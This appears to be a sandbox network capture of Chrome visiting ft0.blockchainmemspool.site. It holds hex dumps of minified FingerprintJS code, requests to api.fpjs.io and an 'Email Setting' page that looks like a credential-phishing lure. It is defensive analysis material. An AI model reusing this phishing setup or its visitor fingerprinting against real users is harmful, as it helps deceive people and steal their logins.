2024-11-27 03:06:51 UTC	16384	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 3b 72 65 74 75 72 6e 20 6e 2e 77 69 64 74 68 3d 31 2c 6e 2e 68 65 69 67 68 74 3d 31 2c 5b 6e 2c 6e 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 29 5d 7d 28 29 2c 75 3d 6f 5b 30 5d 2c 63 3d 6f 5b 31 5d 3b 72 65 74 75 72 6e 20 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 21 28 21 74 7c 7c 21 6e 2e 74 6f 44 61 74 61 55 52 4c 29 7d 28 75 2c 63 29 3f 72 3d 65 3d 22 75 6e 73 75 70 70 6f 72 74 65 64 22 3a 28 69 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 72 65 63 74 28 30 2c 30 2c 31 30 2c 31 30 29 2c 6e 2e 72 65 63 74 28 32 2c 32 2c 36 2c 36 29 2c 21 6e 2e 69 73 50 6f 69 6e 74 49 6e 50 61 74 68 28 35 2c 35 2c 22 65 76 65 6e Data Ascii: ocument.createElement("canvas");return n.width=1,n.height=1,[n,n.getContext("2d")]}(),u=o[0],c=o[1];return !function(n,t){return !(!t\|\|!n.toDataURL)}(u,c)?r=e="unsupported":(i=function(n){return n.rect(0,0,10,10),n.rect(2,2,6,6),!n.isPointInPath(5,5,"even
2024-11-27 03:06:51 UTC	16384	IN	Data Raw: 48 28 74 2e 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 29 3a 76 6f 69 64 20 30 21 3d 3d 74 2e 6d 73 4d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 26 26 28 72 3d 74 2e 6d 73 4d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 29 3b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 54 6f 75 63 68 45 76 65 6e 74 22 29 2c 6e 3d 21 30 3b 7d 63 61 74 63 68 28 65 29 7b 6e 3d 21 31 3b 7d 72 65 74 75 72 6e 20 7b 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 3a 72 2c 74 6f 75 63 68 45 76 65 6e 74 3a 6e 2c 74 6f 75 63 68 53 74 61 72 74 3a 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7d 7d 2c 67 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 2e 76 65 6e 64 6f 72 7c 7c 22 22 7d 2c 77 74 3d 66 75 Data Ascii: H(t.maxTouchPoints):void 0!==t.msMaxTouchPoints&&(r=t.msMaxTouchPoints);try{document.createEvent("TouchEvent"),n=!0;}catch(e){n=!1;}return {maxTouchPoints:r,touchEvent:n,touchStart:"ontouchstart"in window}},gt=function(){return navigator.vendor\|\|""},wt=fu
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 73 41 72 72 61 79 28 61 29 3f 61 3a 5b 61 5d 3b 73 3c 66 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 7b 76 61 72 20 6c 3d 66 5b 73 5d 3b 65 3d 22 22 2e 63 6f 6e 63 61 74 28 65 3f 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 26 22 29 3a 22 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 3d 22 29 2e 63 6f 6e 63 61 74 28 6b 65 28 6c 29 29 3b 7d 72 65 74 75 72 6e 20 72 2e 71 75 65 72 79 3d 65 2c 62 65 28 72 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 65 28 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 73 70 6c 69 74 28 22 2f 22 29 2e 6d 61 70 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 29 2e 6a 6f 69 6e 28 22 2f 22 29 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 65 3d 6e 65 77 20 4d 61 70 3b 76 61 72 Data Ascii: sArray(a)?a:[a];s<f.length;s++){var l=f[s];e="".concat(e?"".concat(e,"&"):"").concat(c,"=").concat(ke(l));}return r.query=e,be(r)}function ke(n){return n.split("/").map(encodeURIComponent).join("/")}function Ie(n){return function(t){var r=[],e=new Map;var
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 75 6c 6c 2c 73 2c 75 2c 66 2c 72 29 2c 51 72 2e 62 69 6e 64 28 6e 75 6c 6c 2c 74 2e 6d 6f 64 75 6c 65 73 2c 21 21 74 2e 65 78 74 65 6e 64 65 64 52 65 73 75 6c 74 2c 74 2e 73 74 6f 72 61 67 65 4b 65 79 29 2c 31 2f 30 2c 6f 29 5d 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 5b 32 2c 6e 6f 28 6e 2e 73 65 6e 74 28 29 29 5d 7d 7d 29 29 7d 29 29 7d 29 29 5d 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 5b 32 2c 76 2e 73 65 6e 74 28 29 5d 7d 7d 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 24 69 28 6e 2c 74 2c 72 2c 6f 2c 75 2c 63 2c 61 29 7b 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 56 65 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7b 65 3a 31 38 2c 73 74 61 67 65 3a 72 2c 74 72 79 4e 75 6d 62 65 72 3a 63 2c 75 72 6c 3a 75 7d 7d Data Ascii: ull,s,u,f,r),Qr.bind(null,t.modules,!!t.extendedResult,t.storageKey),1/0,o)];case 1:return [2,no(n.sent())]}}))}))}))];case 2:return [2,v.sent()]}}))}))}function $i(n,t,r,o,u,c,a){var s=this;return Ve(t,(function(){return {e:18,stage:r,tryNumber:c,url:u}}
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 7c 7c 68 6e 28 29 26 26 44 65 28 29 7d 28 6e 29 29 72 65 74 75 72 6e 20 5b 32 2c 7b 76 3a 74 28 29 7d 5d 3b 72 3d 7b 76 3a 6e 75 6c 6c 7d 2c 69 2e 6c 61 62 65 6c 3d 31 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 69 2e 74 72 79 73 2e 70 75 73 68 28 5b 31 2c 2c 33 2c 34 5d 29 2c 5b 34 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 69 2c 6f 29 7b 76 61 72 20 75 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 28 29 3b 6e 2e 6c 65 6e 67 74 68 3f 28 72 2e 76 3d 6e 2c 6e 75 6c 6c 3d 3d 75 7c 7c 75 28 29 2c 75 3d 63 28 69 2c 35 30 29 29 3a 75 7c 7c 28 75 3d 73 28 69 2c 36 30 30 29 29 3b 7d 3b 65 3d 62 28 6e 2c 22 76 6f 69 63 65 73 63 68 61 6e 67 65 64 22 2c 28 66 75 6e 63 74 69 Data Ascii: addEventListener\|\|hn()&&De()}(n))return [2,{v:t()}];r={v:null},i.label=1;case 1:return i.trys.push([1,,3,4]),[4,new Promise((function(i,o){var u,a=function(){var n=t();n.length?(r.v=n,null==u\|\|u(),u=c(i,50)):u\|\|(u=s(i,600));};e=b(n,"voiceschanged",(functi
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 50 72 6f 6d 69 73 65 2e 72 61 63 65 28 5b 74 28 75 2c 32 35 30 2c 76 6f 69 64 20 30 29 2c 66 28 65 6f 2c 64 2c 33 35 33 38 35 36 38 37 31 31 29 28 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 67 28 65 6f 2c 6e 2c 31 38 31 33 37 37 38 34 31 33 29 7d 29 29 5d 29 5d 3a 5b 33 2c 34 5d 3b 63 61 73 65 20 33 3a 69 66 28 6d 3d 69 2e 73 65 6e 74 28 29 2c 6c 28 6d 2c 76 6f 69 64 20 30 29 29 72 65 74 75 72 6e 20 5b 32 2c 7b 73 3a 31 2c 76 3a 6d 7d 5d 3b 69 2e 6c 61 62 65 6c 3d 34 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 5b 32 2c 7b 73 3a 2d 32 2c 76 3a 6e 75 6c 6c 7d 5d 7d 7d 29 29 7d 29 29 7d 76 61 72 20 43 63 3d 2f 2a 23 5f 5f 50 55 52 45 5f 5f 2a 2f 69 6f 28 5b 33 31 35 38 32 32 37 33 38 34 2c 32 38 38 38 36 36 34 31 35 32 Data Ascii: Promise.race([t(u,250,void 0),f(eo,d,3538568711)().then((function(n){return g(eo,n,1813778413)}))])]:[3,4];case 3:if(m=i.sent(),l(m,void 0))return [2,{s:1,v:m}];i.label=4;case 4:return [2,{s:-2,v:null}]}}))}))}var Cc=/#__PURE__/io([3158227384,2888664152
2024-11-27 03:06:52 UTC	13232	IN	Data Raw: 32 33 37 37 33 30 37 32 36 34 2c 32 35 35 38 39 36 30 35 33 36 2c 33 30 33 34 34 31 39 36 33 34 2c 33 33 38 33 39 33 38 32 30 34 2c 34 31 34 30 34 33 32 37 39 30 2c 32 37 33 32 35 30 39 36 32 34 2c 32 31 35 38 32 32 32 32 31 35 2c 32 35 32 39 38 30 32 37 31 31 2c 32 37 38 31 33 39 39 35 34 39 2c 32 33 37 38 30 39 32 31 36 36 2c 32 34 39 36 33 37 37 38 32 31 2c 32 34 39 38 35 34 32 35 38 31 2c 32 35 39 34 34 39 35 39 33 30 2c 34 32 33 36 37 35 33 31 30 35 2c 32 37 38 32 36 33 32 36 32 36 2c 32 31 35 38 32 31 37 33 34 34 2c 32 34 39 36 33 37 39 33 35 31 2c 32 37 36 30 32 31 34 37 37 33 2c 32 35 37 37 35 38 33 32 34 34 2c 32 34 36 32 35 38 30 36 31 30 2c 32 33 34 37 30 32 34 36 31 36 2c 33 33 32 30 32 33 34 39 30 36 2c 32 34 39 36 33 37 35 34 33 34 2c 32 37 Data Ascii: 2377307264,2558960536,3034419634,3383938204,4140432790,2732509624,2158222215,2529802711,2781399549,2378092166,2496377821,2498542581,2594495930,4236753105,2782632626,2158217344,2496379351,2760214773,2577583244,2462580610,2347024616,3320234906,2496375434,27
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 63 28 6e 2c 74 29 7d 2c 58 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 66 28 6e 2c 74 29 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6c 28 6e 2c 74 29 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 76 28 6e 2c 74 29 7d 2c 4a 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 61 28 6e 2c 74 2c 72 29 7d 2c 59 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 61 28 6e 2c 74 2c 72 29 7d 2c 47 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 68 28 6e 2c 74 29 7d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6d 28 6e 2c 74 29 7d 2c 71 3d 66 75 6e Data Ascii: tion(n,t){return c(n,t)},X=function(n,t){return f(n,t)},Z=function(n,t){return l(n,t)},B=function(n,t){return v(n,t)},J=function(n,t,r){return a(n,t,r)},Y=function(n,t,r){return a(n,t,r)},G=function(n,t){return h(n,t)},z=function(n,t){return m(n,t)},q=fun
2024-11-27 03:06:52 UTC	16384	IN	Data Raw: 76 63 79 58 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 28 74 29 7d 2c 71 79 74 79 52 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 28 74 29 7d 2c 6f 68 45 6e 7a 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 28 74 29 7d 2c 42 48 61 42 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2a 74 7d 2c 49 44 4d 51 75 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2b 74 7d 2c 6f 49 57 59 56 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2b 74 7d 2c 41 6a 46 47 62 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 28 74 29 7d 2c 6e 54 6f 79 62 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e Data Ascii: vcyX:function(n,t){return n(t)},qytyR:function(n,t){return n(t)},ohEnz:function(n,t){return n(t)},BHaBn:function(n,t){return n*t},IDMQu:function(n,t){return n+t},oIWYV:function(n,t){return n+t},AjFGb:function(n,t){return n(t)},nToyb:function(n,t){return n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49769	76.223.60.10	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:52 UTC	725	OUT	POST /?ci=js/3.11.3&q=PpV6WKGGlibbhVc8aHxy&ii=fingerprintjs-pro-react/2.6.3/react/18.3.1&ii=fingerprintjs-pro-spa/1.3.2 HTTP/1.1 Host: api.fpjs.io Connection: keep-alive Content-Length: 3304 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:52 UTC	3304	OUT	Data Raw: da dd e8 dd 26 52 82 56 d7 f0 47 33 d9 ae 04 18 bb cd 7b 09 d7 e1 5c 53 ba 1e 7c f5 ee 5a 3b 76 75 04 a0 21 d4 df 32 5f b5 64 c0 b7 72 c9 07 18 fe d8 be 1b bf f3 63 00 04 15 c6 fa e5 9c 99 0a d6 a3 31 d8 b0 bb 85 79 84 c7 b1 8a fb 2a 4f c3 1c 15 35 0a 86 63 c4 c4 65 f8 42 5c 49 22 50 fc 20 d8 ab 8f 3d 20 e9 50 ea e1 93 cb 69 c6 1c 15 93 30 2a 31 97 e2 84 48 d5 51 1b 93 2e c0 7f 56 29 fa ae c8 4a 25 38 3e cb 37 ed d3 f1 88 99 31 33 8f 1f c5 c4 ea 65 63 dc 83 88 29 40 dd ec 6b ae 61 ac e7 b0 d6 87 af c6 85 8e c0 9c ec 6e 70 ba fc c1 6c c4 f9 ca 91 33 f4 24 ed 61 bf 59 24 36 21 aa aa dd f3 8a bb 2f 96 61 38 2a 6b 8c ac 23 bc 86 90 a4 fa be 0a 23 8a f2 30 49 d9 db d4 18 02 04 dc 06 6c 99 e3 97 2c 3f cc 68 36 ac d9 66 36 3b 1d 28 8c 43 71 64 48 bc e1 73 a9 13 Data Ascii: &RVG3{\S\|Z;vu!2_drc1yO5ceB\I"P = Pi01HQ.V)J%8>713ec)@kanpl3$aY$6!/a8*k##0Il,?h6f6;(CqdHs
2024-11-27 03:06:52 UTC	706	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:06:52 GMT Content-Type: text/plain Content-Length: 652 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ft0.blockchainmemspool.site Access-Control-Expose-Headers: Retry-After Content-Security-Policy: default-src 'none'; frame-ancestors 'none' Referrer-Policy: no-referrer Set-Cookie: _iidt=/gBzuR9b386WFI1Z0hi1x6FoFKL38DtwWbT4r2aR8ZG2m1jn/EOHB2T58AMjIHlRyJOcfg8/M4M8tQ==; Path=/; Domain=fpjs.io; Expires=Thu, 27 Nov 2025 03:06:52 GMT; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=63072000 Timing-Allow-Origin: * Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: DENY
2024-11-27 03:06:52 UTC	652	IN	Data Raw: 63 66 70 7d bc 8b 6f e3 0c 80 eb 6d 5d b9 3b ad 1b d2 c8 2c 42 dc 0a ed 1c 82 f0 51 3c 4a 6f 83 bd 24 2f 46 30 a6 3a 14 a1 cb 06 15 64 02 84 16 4d f1 d8 55 5a 23 43 d2 73 0b a1 87 06 1e 71 03 94 0c 58 b5 85 15 1d 72 01 93 14 2c d0 ce 54 6c 31 12 8a 18 1f f1 d2 40 5a 25 44 d5 18 55 f8 9f 4d 4b 23 5e d2 53 09 ea de 45 5b 2f 5f c8 18 55 f8 9f 40 4e 32 51 84 00 14 a1 cb 4d 5c 2f 44 c9 48 3b ec d6 41 41 64 0a 84 09 44 cf ec 66 6e 00 4a d1 72 1a ed 8b 51 19 00 48 cc 6d 1d db 84 74 62 77 45 cd 0a 5a d3 cc 49 5b 17 47 c7 42 1a e0 cc 69 60 36 75 eb 0c 39 ac 8e 6c 7c 1c 00 d3 43 5d cc d2 62 61 36 79 cb 0a 0a a8 f0 7d 77 1e 51 dc 52 26 b3 d3 46 48 7b 0d 84 16 4d f1 d8 57 5a 2a 44 84 00 14 a1 df 56 40 31 43 c3 48 21 e2 d0 41 0d 7c 12 e5 52 1d ec d0 41 0d 6a 12 c4 48 Data Ascii: cfp}om];,BQ<Jo$/F0:dMUZ#CsqXr,Tl1@Z%DUMK#^SE[/_U@N2QM\/DH;AAdDfnJrQHmtbwEZI[GBi`6u9l\|C]ba6y}wQR&FH{MWZ*DV@1CH!A\|RAjH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49771	13.248.176.92	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:52 UTC	371	OUT	GET /xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy HTTP/1.1 Host: api.fpjs.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:52 UTC	468	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:06:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 96 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000, immutable, private Content-Security-Policy: default-src 'none'; frame-ancestors 'none' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=63072000 Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Robots-Tag: noindex
2024-11-27 03:06:52 UTC	96	IN	Data Raw: 6c 30 77 41 69 56 41 68 61 4a 41 58 77 69 53 41 36 6b 34 46 67 76 30 68 56 35 78 56 79 67 6b 75 63 6a 4d 53 72 6b 33 79 7a 52 59 42 53 53 45 73 46 46 32 73 6b 74 57 47 71 77 34 47 36 30 35 4b 6d 41 37 75 35 34 76 35 43 70 6e 64 36 43 35 34 31 59 5a 43 4c 6b 4d 57 32 68 36 62 51 71 6b 3d Data Ascii: l0wAiVAhaJAXwiSA6k4Fgv0hV5xVygkucjMSrk3yzRYBSSEsFF2sktWGqw4G605KmA7u54v5Cpnd6C541YZCLkMW2h6bQqk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49770	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:52 UTC	362	OUT	GET /favicon.ico HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:53 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 5314 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 25 Nov 2024 14:35:50 GMT ETag: "14c2-627bda62631dc" Accept-Ranges: bytes Vary: Accept-Encoding
2024-11-27 03:06:53 UTC	1075	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 69 76 65 30 22 20 63 6f 6e 74 65 6e 74 3d 22 24 32 79 24 31 32 24 32 43 48 46 68 2e 44 67 58 62 6b 53 6d 69 4c 4b 48 79 79 37 6f 75 64 4b 41 4c 54 4f 6f 70 6f 68 51 5a 6d 31 37 72 50 43 56 4d 79 38 34 64 2f 6e 71 66 51 2e 2e 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 6d 61 69 6c 20 53 65 74 74 69 6e 67 3c 2f 74 69 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ.."> <meta charset="utf-8"> <title>Email Setting</ti
2024-11-27 03:06:53 UTC	1369	IN	Data Raw: 75 74 65 3b 0a 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 33 70 78 29 3b 0a 20 20 20 20 20 20 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 34 70 78 29 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6c 65 78 2d 66 6c 65 78 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 Data Ascii: ute; left: 0; top: 0; z-index: 0; width: 100%; height: 100%; -webkit-filter: blur(3px); filter: blur(4px); background-repeat: no-repeat; background-size: cover; } .flex-flex { display: f
2024-11-27 03:06:53 UTC	1369	IN	Data Raw: 65 72 20 7b 0a 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6f 72 6d 62 67 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 34 38 70 78 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 72 67 62 61 28 36 30 2c 20 36 36 2c 20 38 37 2c 20 30 2e 31 32 29 20 30 70 78 20 37 70 78 20 31 34 Data Ascii: er { -ms-flex-pack: center; justify-content: center; } .formbg { margin: 0px auto; width: 100%; max-width: 448px; background: white; border-radius: 4px; box-shadow: rgba(60, 66, 87, 0.12) 0px 7px 14
2024-11-27 03:06:53 UTC	1369	IN	Data Raw: 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 69 6e 70 75 74 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 Data Ascii: cursor: pointer; } .field-checkbox input { width: 20px; height: 15px; margin-right: 5px; box-shadow: unset; min-height: unset; } .field-checkbox label { display: flex; align-items: center;
2024-11-27 03:06:53 UTC	132	IN	Data Raw: 6e 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 69 6e 64 65 78 2d 44 4d 50 41 55 4d 43 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: n src="/assets/index-DMPAUMCk.js"></script></head> <body> <div id="root"></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49773	13.248.176.92	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:53 UTC	544	OUT	GET /?ci=js/3.11.3&q=PpV6WKGGlibbhVc8aHxy&ii=fingerprintjs-pro-react/2.6.3/react/18.3.1&ii=fingerprintjs-pro-spa/1.3.2 HTTP/1.1 Host: api.fpjs.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _iidt=/gBzuR9b386WFI1Z0hi1x6FoFKL38DtwWbT4r2aR8ZG2m1jn/EOHB2T58AMjIHlRyJOcfg8/M4M8tQ==
2024-11-27 03:06:54 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:06:54 GMT Content-Length: 0 Connection: close Content-Security-Policy: default-src 'none'; frame-ancestors 'none' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=63072000 Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Robots-Tag: noindex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49775	185.212.70.145	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
